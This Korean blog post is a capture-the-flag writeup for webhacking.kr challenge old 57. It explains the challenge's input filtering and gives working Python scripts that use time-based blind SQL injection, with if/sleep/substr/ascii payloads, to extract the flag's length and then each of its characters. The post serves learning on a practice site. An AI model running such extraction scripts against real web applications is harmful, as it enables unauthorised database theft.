반응형
webhacking.kr old 57번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. 코드를 보고 확인해보자.
msg와 se를 확인하는데 msg와 se가 입력되면 addslashes를 통해 싱글 쿼터, 더블쿼더, Null, /에 역슬래시를 추가한다. 이후 select, and, or, not, &, \, benchmark 등을 se에서 필터링한다. flag는 mysql에서 3번째 컬럼에 존재하고 있다. 이후 0~100까지 랜덤으로 1이 나오면 테이블을 삭제한다.
이번 문제는 timebase SQL Injection을 통해 해결해야할 것으로 보인다.
msg를 임의로 넣고 제출을 해보니 msg=123&se=1이 보인다. Python으로 exploit code를 작성해보자.
import requests
import time
URL = "https://webhacking.kr/challenge/web-34/index.php?"
cookie = {"PHPSESSID":"8thmu1o95ht7l4tl6o8ii2a9q1"}
flagLen = 0
param = {"msg":"123"}
for i in range(20, 30):
payload = "if(length(pw)="+str(i)+",sleep(3),1)"
param['se']=payload
start_time = time.time()
requests.get(URL, params=param, cookies=cookie )
end_time = time.time()
print(i)
if end_time - start_time > 2:
print("flag_length: " + str(i))
break
먼저 길이부터 구했다. param을 딕셔너리로 만들어서 넣었고, 시작시간과 끝나는 시간을 구해서 2초 이상이면 flag_length일 것이라고 생각했다. 이제 flag를 구해보자.
import requests
import time
URL = "https://webhacking.kr/challenge/web-34/index.php?"
cookie = {"PHPSESSID":"8thmu1o95ht7l4tl6o8ii2a9q1"}
flagLen = 0
param = {"msg":"123"}
#flag_length
for i in range(20, 30):
payload = "if(length(pw)="+str(i)+",sleep(3),1)"
param['se']=payload
start_time = time.time()
requests.get(URL, params=param, cookies=cookie )
end_time = time.time()
print(i)
if end_time - start_time > 2:
print("flag_length: " + str(i))
flagLen=i
break
#flag
flag = "FLAG{"
for i in range(6, 25):
for j in range(33,133):
payload = "if((ascii(substr(pw,"+str(i)+",1))="+str(j)+"),sleep(3),1)"
param['se'] = payload
start_time = time.time()
requests.get(URL, params=param, cookies=cookie)
end_time = time.time()
print(chr(j))
if end_time - start_time > 2:
flag += chr(j)
break
print("\n"+flag)
앞에 글자는 FLAG{ 로 시작할 것을 알고 있기에 시간을 줄이기 위해 넣었다. 이번에도 if문을 이용했고 sleep()함수를 제외한 나머지는 다른 Blind SQL Injection과 같다. 똑같이 start_time과 end_time을 통해 차이가 2초 이상이면 flag 글자라고 생각하고 falg를 생성했다.
flag가 출력되었다.
참고문헌
728x90
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 문제풀이 완료 (2) | 2022.11.11 |
---|---|
webhacking.kr old 52번 문제풀이(Writeup) http 헤더 인젝션 문제. (0) | 2022.11.11 |
webhacking.kr old 55번 문제풀이(Writeup) (0) | 2022.11.09 |
webhacking.kr old 53번 문제풀이(Writeup)와 procedure analyse() DB, 테이블 이름 확인 (0) | 2022.11.08 |
webhacking.kr old 35번 문제풀이(Writeup) (0) | 2022.11.07 |